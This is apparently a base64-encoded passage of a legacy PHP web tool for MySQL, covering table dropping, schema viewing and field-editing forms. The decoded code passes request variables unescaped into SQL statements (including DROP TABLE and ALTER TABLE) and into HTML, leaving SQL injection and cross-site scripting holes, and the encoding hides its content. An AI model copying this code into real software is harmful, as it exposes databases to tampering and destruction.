DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCWxpc3RUYWJsZXMoKTsNCn0NCg0KZnVuY3Rpb24gdmlld1NjaGVtYSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCg0KCWVjaG8gIjxoMT5UYWJsZSBTY2hlbWE8L2gxPlxuIjsNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoNCgllY2hvUXVlcnlSZXN1bHQoKTsNCg0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRkRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPkFkZCBGaWVsZDwvYT4gfCBcbiI7DQoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCg0KCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KDQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KDQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRmllbGQiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJOdWxsIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJEZWZhdWx0Il0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkV4dHJhIl0uIjwvdGQ+XG4iOw0KCQkkZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1lZGl0RmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnPkVkaXQ8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BGaWVsZCZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZmaWVsZG5hbWU9JGZpZWxkbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIEZpZWxkIFwnJGZpZWxkbmFtZVwnPycpXCI+RHJvcDwvYT48L3RkPlxuIjsNCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KDQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkKCAkY21kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRmaWVsZG5hbWUsICRQSFBfU0VMRjsNCg0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQlpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiKCIgKSApIHsNCgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQkkdmFsdWVsaXN0ID0gc3RydG9rKCAiICgpXG4iICk7DQoJCQl9IGVsc2Ugew0KCQkJCSRNID0gc3RydG9rKCAiICgsKVxuIiApOw0KCQkJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIsIiApICkNCgkJCQkJJEQgPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQl9DQoJCX0NCgl9DQoNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBfU0VMRj5cbiI7DQoNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KDQoJZWNobyAiPGgzPk5hbWU8L2gzPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1lPjxwPlxuIjsNCgllY2hvICcNCg0KPGgzPlR5cGU8L2gzPg0KDQo8Zm9udCBzaXplPTI+DQoqIGBNXCcgaW5kaWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkgc2l6ZS48YnI+DQoqIGBEXCcgYXBwbGllcyB0byBmbG9hdGluZy1wb2ludCB0eXBlcyBhbmQgaW5kaWNhdGVzIHRoZSBudW1iZXIgb2YgZGlnaXRzIGZvbGxvd2luZyB0aGUgZGVjaW1hbCBwb2ludC48YnI+DQo8L2ZvbnQ+DQoNCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iSU5UIiAnOyBpZiggJHR5cGUgPT0gImludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+SU5UICgtMjE0NzQ4MzY0OCB+IDIxNDc0ODM2NDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkJJR0lOVCIgJzsgaWYoICR0eXBlID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1ODA3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJGTE9BVCIgJzsgaWYoICR0eXBlID09ICJmbG9hdCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+RkxPQVQ8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRE9VQkxFIiAnOyBpZiggJHR5cGUgPT0gImRvdWJsZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+RE9VQkxFPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAiZGVjaW1hbCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REVDSU1BTChOVU1FUklDKTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJEQVRFIiAnOyBpZiggJHR5cGUgPT0gImRhdGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEUgKDEwMDAtMDEtMDEgfiA5OTk5LTEyLTMxLCBZWVlZLU1NLUREKTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJEQVRFVElNRSIgJzsgaWYoICR0eXBlID09ICJkYXRldGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REFURVRJTUUgKDEwMDAtMDEtMDEgMDA6MDA6MDAgfiA5OTk5LTEyLTMxIDIzOjU5OjU5LCBZWVlZLU1NLUREIEhIOk1NOlNTKTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJUSU1FU1RBTVAiICc7IGlmKCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAgKDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2Li4uLCBZWVlZTU1ERFtISFtNTVtTU11dXSk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRSIgJzsgaWYoICR0eXBlID09ICJ0aW1lIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU1FICgtODM4OjU5OjU5IH4gODM4OjU5OjU5LCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iWUVBUiIgJzsgaWYoICR0eXBlID09ICJ5ZWFyIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5ZRUFSICgxOTAxIH4gMjE1NSwgMDAwMCwgWVlZWSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQ0hBUiIgJzsgaWYoICR0eXBlID09ICJjaGFyIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5DSEFSPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlZBUkNIQVIiICc7IGlmKCAkdHlwZSA9PSAidmFyY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VkFSQ0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJUSU5ZVEVYVCIgJzsgaWYoICR0eXBlID09ICJ0aW55dGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWVRFWFQgKDAgfiAyNTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGV4dCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VEVYVCAoMCB+IDY1NTM1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1URVhUIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPk1FRElVTVRFWFQgKDAgfiAxNjc3NzIxNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTE9OR1RFWFQiICc7IGlmKCAkdHlwZSA9PSAibG9uZ3RleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkxPTkdURVhUICgwIH4gNDI5NDk2NzI5NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWUJMT0IiICc7IGlmKCAkdHlwZSA9PSAidGlueWJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllCTE9CICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCTE9CIiAnOyBpZiggJHR5cGUgPT0gImJsb2IiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkJMT0IgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNQkxPQiIgJzsgaWYoICR0eXBlID09ICJtZWRpdW1ibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1CTE9CICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdCTE9CIiAnOyBpZiggJHR5cGUgPT0gImxvbmdibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HQkxPQiAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkVOVU0iICc7IGlmKCAkdHlwZSA9PSAiZW51bSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+RU5VTTwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU0VUIiAnOyBpZiggJHR5cGUgPT0gInNldCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+U0VUPC90ZD4NCjx0ZCBjb2xzcGFuPTU+PGNlbnRlcj52YWx1ZSBsaXN0PC9jZW50ZXI+PC90ZD4NCjwvdHI+DQoNCjwvdGFibGU+DQo8dGFibGU+DQo8dHI+PHRoPk08L3RoPjx0aD5EPC90aD48dGg+dW5zaWduZWQ8L3RoPjx0aD56ZXJvZmlsbDwvdGg+PHRoPmJpbmFyeTwvdGg+PHRoPnZhbHVlIGxpc3QgKGV4OiBcJ2FwcGxlXCcsIFwnb3JhbmdlXCcsIFwnYmFuYW5hXCcpIDwvdGg+PC90cj4NCjx0cj4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1NICc7IGlmKCAkTSAhPSAiIiApIGVjaG8gInZhbHVlPSRNIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1EICc7IGlmKCAkRCAhPSAiIiApIGVjaG8gInZhbHVlPSREIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT11bnNpZ25lZCB2YWx1ZT0iVU5TSUdORUQiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJ1bnNpZ25lZCIgKSApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXplcm9maWxsIHZhbHVlPSJaRVJPRklMTCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInplcm9maWxsIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YmluYXJ5IHZhbHVlPSJCSU5BUlkiICc7IGlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICJiaW5hcnkiICkgICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT02MCBuYW1lPXZhbHVlbGlzdCAnOyBpZiggJHZhbHVlbGlzdCAhPSAiIiApIGVjaG8gInZhbHVlPVwiJHZhbHVlbGlzdFwiIjtlY2hvICc+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQoNCjxoMz5GbGFnczwvaDM+DQo8dGFibGU+DQo8dHI+PHRoPm5vdCBudWxsPC90aD48dGg+ZGVmYXVsdCB2YWx1ZTwvdGg+PHRoPmF1dG8gaW5jcmVtZW50PC90aD48dGg+cHJpbWFyeSBrZXk8L3RoPjwvdHI+DQo8dHI+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9bm90X251bGwgdmFsdWU9Ik5PVCBOVUxMIiAnOyBpZiggJGZpZWxkbnVsbCAhPSAiWUVTIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGVmYXVsdF92YWx1ZSAnOyBpZiggJGZpZWxkZGVmYXVsdCAhPSAiIiApIGVjaG8gInZhbHVlPSRmaWVsZGRlZmF1bHQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWF1dG9faW5jcmVtZW50IHZhbHVlPSJBVVRPX0lOQ1JFTUVOVCIgJzsgaWYoICRmaWVsZGV4dHJhID09ICJhdXRvX2luY3JlbWVudCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1wcmltYXJ5X2tleSB2YWx1ZT0iUFJJTUFSWSBLRVkiICc7IGlmKCAkZmllbGRrZXkgPT0gIlBSSSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD4nOw0KDQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KDQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBBREQgJG5hbWUgIjsNCgllbHNlIGl